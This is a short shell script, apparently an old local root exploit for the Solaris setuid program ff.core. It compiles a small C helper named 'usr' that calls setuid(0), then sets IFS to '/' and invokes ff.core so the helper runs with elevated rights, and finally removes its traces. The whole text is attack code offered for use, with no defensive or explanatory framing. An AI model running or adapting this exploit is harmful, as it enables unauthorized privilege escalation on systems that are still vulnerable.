#!/bin/sh -f
# try to exploit ff.core hole (?? does solaris honour suid IFS changes?)
cat > usr.c << _EOF_
main() {
printf("uid=%d gid=%d\n", getuid(), getgid());
 setuid(0); setgid(0); seteuid(0); setegid(0);
 printf("uid after set=%d\n", getuid());
}
_EOF_
cc -o usr usr.c
chmod 700 usr
IFS="/"
export IFS
/usr/openwin/bin/ff.core 0 0 0 0 0
#ffc 0 0 fd0/fd0 1
rm -f usr usr.c

